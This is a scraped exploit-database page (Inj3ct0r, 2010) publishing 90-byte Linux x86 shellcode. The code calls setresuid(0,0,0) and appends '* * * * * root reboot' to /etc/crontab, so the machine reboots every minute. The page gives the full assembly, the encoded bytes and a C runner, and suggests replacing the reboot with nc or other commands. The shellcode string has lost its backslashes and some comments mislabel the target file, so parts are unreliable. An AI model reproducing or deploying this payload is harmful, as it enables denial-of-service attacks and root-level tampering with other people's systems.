Home / os / win7

[linux/x86] - linux/x86 setreuid(0,0) add reboot command eac

Posted on 27 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>linux/x86 setreuid(0,0) add reboot command each minutes 90 bytes | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 27 Sep 2010 | Exploit category: linux/x86 | Exploit author: xertux | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>====================================================================================
linux/x86 setreuid(0,0) and add reboot command each minutes in /etc/crontab 90 bytes
====================================================================================

#include &lt;stdio.h&gt;

 /*
  * Title : linux x86 shellcode setreuid(0, 0) and add reboot command each minutes in /etc/crontab, 90 bytes
  * Author : xertux
  * Platform: Linux X86
  * Description : setuid(0) + open(/etc/crontab, e0x441, 0x180) + write(fd, * * * * * root reboot
, 22) + close(fd)
  * 			Add a line at /etc/crontab =&gt; * * * * * root reboot
  *			Reboot the computer each minutes =&gt; An user hasn&#039;t the time to modify the /etc/crontab file
  *			Dos Shellcode but we can replace reboot command by nc command or many other command...
  * Size : 90 bytes
  * */


/*
BITS 32

;setresuid(0,0,0)
xor eax, eax         ; eax become 0
xor ebx, ebx         ; ebx become 0
xor ecx, ecx         ; ecx become 0
cdq                  ; edx become 0
mov al, 0xa4         ; put call system 164 into eax
int 0x80             ; execute setresuid(0,0,0)

;open(/etc/crontab, e0x441, 0x180))
push edx             ; null string termination
push 0x6261746e      ; push &quot;ntab&quot;
push 0x6f72632f      ; push &quot;/cro&quot;
push 0x6374652f      ; push &quot;/etc&quot;
mov ebx, esp         ; put &quot;/etc//passwd&quot; into ebx
mov WORD cx, 0x441   ; put the O_WRONLY | O_APPEND | O_CREATE argument
mov WORD dx, 0x180   ; put the S_IRUSR | S_IWUSR argument
push BYTE 0x5        ; put call system open on the stack
pop eax              ; get the system call number and insert into eax
int 0x80             ; execute open(/etc//passwd, O_WRONLY | O_APPEND, S_IRUSR | S_IWUSR)

;write(fd, &quot;* * * * * root reboot
&quot;, 22) ==&gt; pass &quot;toor&quot;
mov ebx, eax         ; put the file descriptor return by open into ebx
xor eax, eax         ; eax become 0
push eax             ; null termination string
push WORD 0x0a74     ; push &quot;t
&quot;
push 0x6f6f6265      ; push &quot;eboo&quot;
push 0x7220746f      ; push &quot;ot r&quot;
push 0x6f72202a      ; push &quot;* ro&quot;
push 0x202a202a      ; push &quot;* * &quot;
push 0x202a202a      ; push &quot;* * &quot;
mov ecx, esp         ; put &quot;* * * * * root reboot
&quot; into ebx
push BYTE 22         ; put the size of line written on the stack
pop edx              ; get the size into edx
mov al, 0x4          ; put the call system write into eax
int 0x80             ; execute write(fd, * * * * * root reboot
&quot;, 22)

;close(fd)
push BYTE 0x6        ; put the call system close on the stack
pop eax              ; put the call system number into eax
int 0x80             ; execute close(fd)

*/

char shellcode[] =
&quot;x31xc0x31xdbx31xc9x99xb0xa4xcdx80x52x68x6ex74x61&quot;
&quot;x62x68x2fx63x72x6fx68x2fx65x74x63x89xe3x66xb9x41&quot;
&quot;x04x66xbax80x01x6ax05x58xcdx80x89xc3x31xc0x50x66&quot;
&quot;x68x74x0ax68x65x62x6fx6fx68x6fx74x20x72x68x2ax20&quot;
&quot;x72x6fx68x2ax20x2ax20x68x2ax20x2ax20x89xe1x6ax16&quot;
&quot;x5axb0x04xcdx80x6ax06x58xcdx80&quot;;

int main()
{
	printf(&quot;[*] Shellcode - length: %d
&quot;, strlen(shellcode));
	(*(void(*)())shellcode)();
	return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-27]</pre></body></html>

 

TOP

Malware :

Exploits :